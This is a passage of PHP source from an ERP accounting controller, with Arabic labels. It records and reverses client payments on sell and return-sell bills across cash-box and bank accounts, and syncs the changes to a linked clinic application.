        $comment = $rowComment;
    }
    $today = date("Y-m-d");

    $clientid = 0;
    //Transaction
    $mytransactions = new Transaction();
    $allDataObygyArray = array();
    try {
        $clientdebtchangeId = 0;
        $sellBill = $myReturnsellbillRecord->load($bill_no);
        if ($sellBill->returnsellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->returnsellbillclientid);
            $client->clientid = $clientid = $sellBill->returnsellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore + $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->returnsellbillclientid);

            //insert into supplierdeptchange tbl
            $clientDeptChange->comment = $comment;
            $clientDeptChange->processname = "استرداد على فاتورة مردود بيع للعميل";
            $clientDeptChange->clientdebtchangeafter = $debtAfter;
            $clientDeptChange->clientdebtchangeamount = $payedDept;
            $clientDeptChange->totalOperationCost = $payedDept;
            $clientDeptChange->clientdebtchangebefore = $debtBefore;
            $clientDeptChange->clientdebtchangedate = date('Y-m-d H:i:s');
            $clientDeptChange->clientdebtchangemodelid = $voucher;
            $clientDeptChange->clientdebtchangetype = 0;
            $clientDeptChange->tablename = "clientPayedDeptReturnSellBillsController.php";
            $clientDeptChange->userid = $_SESSION['userid'];
            $clientDeptChange->clientid = $client->clientid;
            $clientDeptChange->dailyentryid = 0;
            $clientDeptChange->num = $voucher;
            $clientDeptChange->billid = $bill_no;
            $clientDeptChange->paytype = $paytype_txt;


            //Insert
            $clientdebtchangeId = $clientDeptChangeDAO->insert($clientDeptChange);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndMins($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 1, $saveId, "استرداد على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $saveValueafter, "clientPayedDeptReturnSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId);
                    makeDillPaymentDailyEntry($bill_no, $payedDept, $valueData[3], $client->treeId, $clientdebtchangeId, 1);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance - $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 1, $dataBankAccount->accountbeginingbalance, "استرداد على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptReturnSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $sellBill->returnsellbillclientid);
                makeDillPaymentDailyEntry($bill_no, $payedDept, $dataBankAccount->treeId, $client->treeId, $clientdebtchangeId, 1);
            }

            if ($Programsettingdata->obygyFolder != "") {
                $bill_pay = array();
                $client = $clientDAO->load($clientid);
                $bill_pay["patient_id"] = $client->obygyPatientId; //royal
                $bill_pay["bill_id"] = $sellBill->returnsellbillid; //erp
                $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
                if ($paytype == "save") {
                    $bill_pay["detectionvalue_cash"] = $payedDept;
                    $bill_pay["detectionvalue_visa"] = 0;
                    $bill_pay["saveOrBankAccountid"] = $saveId;
                    $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
                } elseif ($paytype == "bank") {
                    $bill_pay["detectionvalue_cash"] = 0;
                    $bill_pay["detectionvalue_visa"] = $payedDept;
                    $bill_pay["saveOrBankAccountid"] = $bankAccountId;
                    $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
                }

                $userData = $userDAO->load($_SESSION['userid']);
                $bill_pay["discount"] = 0; //0
                $bill_pay["note"] = ''; //empty or username
                $bill_pay["user_id"] = $userData->obygyDoctorId;
                $bill_pay["user_name"] = $userData->employeename;
                $bill_pay["paymentfrom"] = 1; //erp or royal
                $bill_pay["cahngeType"] = 1; //to increase debt @royal
                $bill_pay["isRet"] = 1; //to indicate it is on retsellbill
                array_push($allDataObygyArray, $bill_pay);
            }
        }

        $add_print = filter_input(INPUT_POST, 'add_print');

        $data_arr = array($add_print, $clientdebtchangeId);



        $mytransactions->commit();

        $isCurlFromRoyal = (int) $_POST['isCurlFromRoyal']; //1 it is curl from royal//to stop recursion curl btween erp,royal
        if ($Programsettingdata->obygyFolder != "" && $isCurlFromRoyal != 1 && count($allDataObygyArray) > 0) {
            $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=payERPBills';
            $ret = CURL_Request($allDataObygyArray, $url, 1, 0, '', 'POST');
            //print_r($ret);
        }
    } catch (Exception $ex) {
        $mytransactions->rollback();
        markClientAsNOTInUse($clientid);
    }


    return $data_arr;
}

function delMakeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment)
{
    global $mySellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $myAccountmovementExt;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $clientdebtchangeId = (int) $_POST["clientdebtchangeId"];
    $clientDeptChange = $clientDeptChangeDAO->load($clientdebtchangeId);
    $comment = $_POST["comment"];
    $paytype = $_POST["paytype"];
    $today = date("Y-m-d");


    ########################################################################
    //choose erpDB user has choosen in obygy_app
    //it is reuired by eng.sherif to keep edit info to person who add, not the one who is updating as long as it is not الاستقبال group
    if (isset($_POST["erpDB"]) && !empty($_POST["erpDB"])) {
        if (isset($_POST['obgyGroupId']) && $_POST['obgyGroupId'] == 3) {
            //it is reception الاستقبال// and its id @royal=3
            //use data coming for user who make update
        } else {
            //keep using the same data of user who made bill
            //get user id
            $_POST['userid'] = $clientDeptChange->userid;
            $_SESSION['userid'] = (isset($_POST['userid']) && $_POST['userid'] > 0) ? (int) $_POST['userid'] : 1;
        }
    }
    ########################################################################


    $bill_no = $clientDeptChange->billid;
    $sellBill = $mySellbillRecord->load($bill_no);
    $pay = $clientDeptChange->clientdebtchangeamount;
    $saveid = $sellBill->sellbillsaveid;
    $bankAccountId = $sellBill->visaAccountId;
    $dailyentryidOfPayment = $clientDeptChange->dailyentryid;

    if ($paytype == "bank" && $bankAccountId < 1) {
        //no bank data saved @ bill , get it @payment
        $row = $myAccountmovementExt->getBankPaymentDetaildWithClientDebtChangeId($clientdebtchangeId);
        if ($row->accountmovementid > 0) {
            $bankAccountId = $row->accountid;
        }
    }


    $savePaymentDateWithBillDate = (int) $_POST['savePaymentDateWithBillDate'];
    //check if payed or not to change save value
    $payDateToRecord = date('Y-m-d H:i:s');
    if ($savePaymentDateWithBillDate == 1) {
        $payDateToRecord = $clientDeptChange->clientdebtchangedate;
    }

    //Transaction
    $mytransactions = new Transaction();
    try {

        if ($sellBill->sellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->sellbillclientid);
            $client->clientid = $clientid = $sellBill->sellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore + $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->sellbillclientid);

            //insert into supplierdeptchange tbl
            //            $clientDeptChange->del = 1;
            //            $clientDeptChangeDAO->update($clientDeptChange);
            $clientDeptChangeDAO->delete($clientdebtchangeId);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndMins($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 1, $saveId, "الغاء السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $saveValueafter, "clientPayedDeptSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance - $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 1, $dataBankAccount->accountbeginingbalance, "الغاء السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $sellBill->sellbillclientid);
            }


            reverseEntryWithItsID($dailyentryidOfPayment, 1);

            if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
                $data = array('status' => 1, 'message' => 'تمت العمليه بنجاح', 'message_en' => 'Success');
                echo json_encode($data);
            } else {
                echo 1;
            }
        } else {
            if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
                $data = array('status' => 2, 'message' => 'حدث خطأ', 'message_en' => 'Error');
                echo json_encode($data);
            } else {
                echo -1;
            }
        }

        $mytransactions->commit();

        $allDataObygyArray = array();
        if ($Programsettingdata->obygyFolder != "") {
            $bill_pay = array();

            $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
            $bill_pay["paytype"] = $paytype;
            if ($paytype == "save") {
                $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
            } elseif ($paytype == "bank") {
                $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
            }

            $userData = $userDAO->load($_SESSION['userid']);
            $bill_pay["user_id"] = $userData->obygyDoctorId;
            $bill_pay["paymentfrom"] = 1; //erp or royal
            array_push($allDataObygyArray, $bill_pay);

            if (count($allDataObygyArray) > 0) {
                $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=delPayERPBills';
                $ret = CURL_Request($allDataObygyArray, $url, 1);
                //print_r($ret);
            }
        }
    } catch (Exception $ex) {
        if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
            $data = array('status' => 2, 'message' => 'حدث خطأ', 'message_en' => 'Error');
            echo json_encode($data);
        } else {
            echo -1;
        }
        $mytransactions->rollback();
    }
}

function delmakeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment)
{
    global $myReturnsellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $myAccountmovementExt;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $clientdebtchangeId = (int) $_POST["clientdebtchangeId"];
    $clientDeptChange = $clientDeptChangeDAO->load($clientdebtchangeId);
    $comment = $_POST["comment"];
    $paytype = $_POST["paytype"];
    $today = date("Y-m-d");


    ########################################################################
    //choose erpDB user has choosen in obygy_app
    //it is reuired by eng.sherif to keep edit info to person who add, not the one who is updating as long as it is not الاستقبال group
    if (isset($_POST["erpDB"]) && !empty($_POST["erpDB"])) {
        if (isset($_POST['obgyGroupId']) && $_POST['obgyGroupId'] == 3) {
            //it is reception الاستقبال// and its id @royal=3
            //use data coming for user who make update
        } else {
            //keep using the same data of user who made bill
            //get user id
            $_POST['userid'] = $clientDeptChange->userid;
            $_SESSION['userid'] = (isset($_POST['userid']) && $_POST['userid'] > 0) ? (int) $_POST['userid'] : 1;
        }
    }
    ########################################################################


    $bill_no = $clientDeptChange->billid;
    $sellBill = $myReturnsellbillRecord->load($bill_no);
    $pay = $clientDeptChange->clientdebtchangeamount;
    $saveid = $sellBill->returnsellbillsaveid;
    $bankAccountId = $sellBill->visaAccountId;
    $dailyentryidOfPayment = $clientDeptChange->dailyentryid;

    if ($paytype == "bank" && $bankAccountId < 1) {
        //no bank data saved @ bill , get it @payment
        $row = $myAccountmovementExt->getBankPaymentDetaildWithClientDebtChangeId($clientdebtchangeId);
        if ($row->accountmovementid > 0) {
            $bankAccountId = $row->accountid;
        }
    }

    $savePaymentDateWithBillDate = (int) $_POST['savePaymentDateWithBillDate'];
    //check if payed or not to change save value
    $payDateToRecord = date('Y-m-d H:i:s');
    if ($savePaymentDateWithBillDate == 1) {
        $payDateToRecord = $clientDeptChange->clientdebtchangedate;
    }
    //Transaction
    $mytransactions = new Transaction();
    try {
        if ($sellBill->returnsellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {
            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->returnsellbillclientid);
            $client->clientid = $clientid = $sellBill->returnsellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore - $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->returnsellbillclientid);

            //insert into supplierdeptchange tbl
            //            $clientDeptChange->del = 1;
            //            $clientDeptChangeDAO->update($clientDeptChange);
            $clientDeptChangeDAO->delete($clientdebtchangeId);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndPlus($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 0, $saveId, "الغاء مرتجع دفعه على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $saveValueafter, "clientPayedDeptReturnSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance + $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 0, $dataBankAccount->accountbeginingbalance, "الغاء مرتجع دفعه على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptReturnSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $sellBill->returnsellbillclientid);
            }


            reverseEntryWithItsID($dailyentryidOfPayment, 1);

            echo 1;
        } else {
            echo -1;
        }

        $mytransactions->commit();

        $allDataObygyArray = array();
        if ($Programsettingdata->obygyFolder != "") {
            $bill_pay = array();

            $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
            $bill_pay["paytype"] = $paytype;
            if ($paytype == "save") {
                $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
            } elseif ($paytype == "bank") {
                $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
            }

            $userData = $userDAO->load($_SESSION['userid']);
            $bill_pay["user_id"] = $userData->obygyDoctorId;
            $bill_pay["paymentfrom"] = 1; //erp or royal
            array_push($allDataObygyArray, $bill_pay);

            if (count($allDataObygyArray) > 0) {
                $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=delPayERPBills';
                $ret = CURL_Request($allDataObygyArray, $url, 1);
                //print_r($ret);
            }
        }
    } catch (Exception $ex) {
        echo -1;
        $mytransactions->rollback();
    }
}

function getClientDataFromClientInUseSP($clientid)
{
    global $clientEX;
    global $myClientRecord;
    if ($clientid == 1) {
        $client_data = $myClientRecord->load($clientid);
    } elseif ($clientid > 1) {
        $noOfTries = 0;
        $client_data = $clientEX->callClientInUseSP($clientid);
        while ($client_data->clientdebt == 'in_use') {
            sleep(1);
            $noOfTries++;
            if ($noOfTries > 15) { // mean 15 sec as sleep is 1 sec her
                //markClientAsNOTInUse -- using redbeans to instantly execute in database as we are in transaction now "means affecting row is done @end of execution or comit"
                liveBackupComment("-- force free client=$clientid with redbean");
                R::exec('UPDATE client SET  inUse = 0 where clientid = ' . $clientid);
            }
            $client_data = $clientEX->callClientInUseSP($clientid);
        }
    }
    return $client_data;
}

function markClientAsNOTInUse($clientid)
{ //mark as not in use "free him to be able to change debt again"
    global $clientEX;
    if ($clientid == 1) {
        //do no thing. we didnot mark it as in use at begining
    } else {
        $clientEX->markClientAsNOTInUse($clientid);
    }
}

function liveBackupComment($txt)
{
    $myfile = fopen("backup/" . date("Y-m-d") . ".txt", "a+") or die("Unable to open file!");
    $toWrite = "\r\n-- ----------------------------------------------------------------------------------------------------\r\n";
    $toWrite .= $txt;
    $toWrite .= "\r\n-- ----------------------------------------------------------------------------------------------------\r\n\r\n";
    fwrite($myfile, $toWrite);
}

// get initialvalue and plus from save tbl
function getSaveValueAndPlus($saveid, $savevaluechanged)
{

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    $saveData = $mySaveEx->loadForUpdateEx($saveid);
    $saveId = $saveData->saveid;
    $saveValuebefore = $saveData->savecurrentvalue;

    $saveValueafter = $saveValuebefore + $savevaluechanged;

    return array($saveId, $saveValuebefore, $saveValueafter, $saveData->treeId);
}

// get initialvalue and mins from save tbl
function getSaveValueAndMins($saveid, $savevaluechanged)
{

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    $saveData = $mySaveEx->loadForUpdateEx($saveid);
    $saveId = $saveData->saveid;
    $saveValuebefore = $saveData->savecurrentvalue;

    $saveValueafter = $saveValuebefore - $savevaluechanged;

    return array($saveId, $saveValuebefore, $saveValueafter, $saveData->treeId);
}

// update in Save tbl
function updateSave($saveid, $savevalueafter)
{

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    //update initialvalue in Save tbl
    $mySave->savecurrentvalue = $savevalueafter;
    $mySave->userid = $_SESSION['userid'];
    $mySave->saveid = $saveid;

    $mySaveEx->updateSaveValue($mySave);
}

// insert in Savedaily tbl
function insertSavedaily($savedailysavebefore, $savedailychangeamount, $savedailychangetype, $saveid, $processname, $savedailymodelid, $savedailysaveafter, $tablename, $comment, $date, $clientdebtchangeId)
{

    //to use the variable out side the funcion
    global $mySavedaily;
    global $mySavedailyRecord;

    //insert in Savedaily tbl
    $mySavedaily->savedailydate = $date; //date("Y-m-d H:i:s");
    $mySavedaily->userid = $_SESSION['userid'];
    $mySavedaily->savedailysavebefore = $savedailysavebefore;
    $mySavedaily->savedailychangeamount = $savedailychangeamount;
    $mySavedaily->savedailychangetype = $savedailychangetype;
    $mySavedaily->saveid = $saveid;
    $mySavedaily->processname = $processname;
    $mySavedaily->savedailymodelid = $savedailymodelid;
    $mySavedaily->savedailysaveafter = $savedailysaveafter;
    $mySavedaily->tablename = $tablename;
    $mySavedaily->note = $comment;
    $mySavedaily->clientdebtchangeidfk = $clientdebtchangeId;
    if (isset($_SESSION['client_id']) && !empty($_SESSION['client_id'])) {
        $mySavedaily->clientid = $_SESSION['client_id'];
    } else {
        $mySavedaily->clientid = 0;
    }
    $mySavedailyRecord->insert($mySavedaily);
}

// insertAccountmovement of bank
function insertAccountmovement($accountbefore, $accountamount, $accountmovementtype, $accountafter, $processname, $accountmovementmodelid, $accountid, $bankid, $tablename, $comment, $date, $clientdebtchangeId, $clientId)
{

    //to use the variable out side the funcion
    global $myAccountmovement;
    global $myAccountmovementRecord;


    //insert in Accountmovement tbl
    $myAccountmovement->accountid = $accountid;
    $myAccountmovement->accountmovementafter = $accountafter;
    $myAccountmovement->accountmovementamount = $accountamount;
    $myAccountmovement->accountmovementbefore = $accountbefore;
    $myAccountmovement->accountmovementdate = $date; //date("Y-m-d H:i:s");
    $myAccountmovement->accountmovementmodelid = $accountmovementmodelid;
    $myAccountmovement->accountmovementtype = $accountmovementtype;
    $myAccountmovement->bankid = $bankid;
    $myAccountmovement->processname = $processname;
    $myAccountmovement->tablename = $tablename;
    $myAccountmovement->accountmovementcomment = $comment;
    $myAccountmovement->clientdebtchangeidfk = $clientdebtchangeId;
    $myAccountmovement->clientid = $clientId;
    $myAccountmovement->userid = $_SESSION['userid'];

    $myAccountmovementRecord->insert($myAccountmovement);
}

function getProductPath_recursive($parentid, $categories)
{
    global $productCatExt;

    $catData = $productCatExt->getCategoryAndParentByCatId($parentid);

    if (count($catData) > 0) {
        $categories .= $catData->productCatName . '/';
        $newParentId = $catData->productCatParent;

        return getProductPath_recursive($newParentId, $categories);
    }
    $categories = substr($categories, 0, strlen($categories) - 1);
    return $categories;
}

function makeDillPaymentDailyEntry($billId, $payVal, $payAccountTreeId, $clientTreeId, $clientdebtchangeId, $type = 0)
{
    global $clientDeptChangeExt;


    if ($type == 0) { // payment on sellbill
        $dailyEntry->entryComment = 'دفعة على فاتورة ' . $billId;
        $detailsURL = "sellbillController.php?do=showDetail&sellbillid=" . $billId;
        ##this link is also ok
        //$detailsURL = "clientPayedDeptSellBillsController.php?do=show_details&id=" . $billId;
        // start save
        $dailyEntryDebtorArray = array();
        $dailyEntryDebtor->value = $payVal;
        $dailyEntryDebtor->accountstreeid = $payAccountTreeId;
        /// end save
        /// start L 7sab L da2non
        $dailyEntryCreditorArray = array();
        $dailyEntryCreditor->value = $payVal;
        $dailyEntryCreditor->accountstreeid = $clientTreeId;
        /// end L 7sab L da2non

        array_push($dailyEntryDebtorArray, $dailyEntryDebtor);
        array_push($dailyEntryCreditorArray, $dailyEntryCreditor);

        $returnedData = insertEntery($dailyEntry, $dailyEntryDebtorArray, $dailyEntryCreditorArray, 1, $billId, $detailsURL);
        $did = $returnedData[1];

        $clientDeptChangeExt->updateDailyEntryId($did, $clientdebtchangeId);
    } elseif ($type == 1) { //payment on retsellbill
        $dailyEntry->entryComment = 'استرداد على فاتورة مردود بيع للعميل ' . $billId;
        $detailsURL = "returnsellbillController.php?do=showDetail&returnsellbillid=" . $billId;
        ##this link is also ok
        //$detailsURL = "clientPayedDeptSellBillsController.php?do=show_details&id=" . $billId;
        // start save
        $dailyEntryDebtorArray = array();
        $dailyEntryDebtor->value = $payVal;
        $dailyEntryDebtor->accountstreeid = $clientTreeId;
        /// end save
        /// start L 7sab L da2non
        $dailyEntryCreditorArray = array();
        $dailyEntryCreditor->value = $payVal;
        $dailyEntryCreditor->accountstreeid = $payAccountTreeId;
        /// end L 7sab L da2non

        array_push($dailyEntryDebtorArray, $dailyEntryDebtor);
        array_push($dailyEntryCreditorArray, $dailyEntryCreditor);

        $returnedData = insertEntery($dailyEntry, $dailyEntryDebtorArray, $dailyEntryCreditorArray, 1, $billId, $detailsURL);
        $did = $returnedData[1];

        $clientDeptChangeExt->updateDailyEntryId($did, $clientdebtchangeId);
    }
}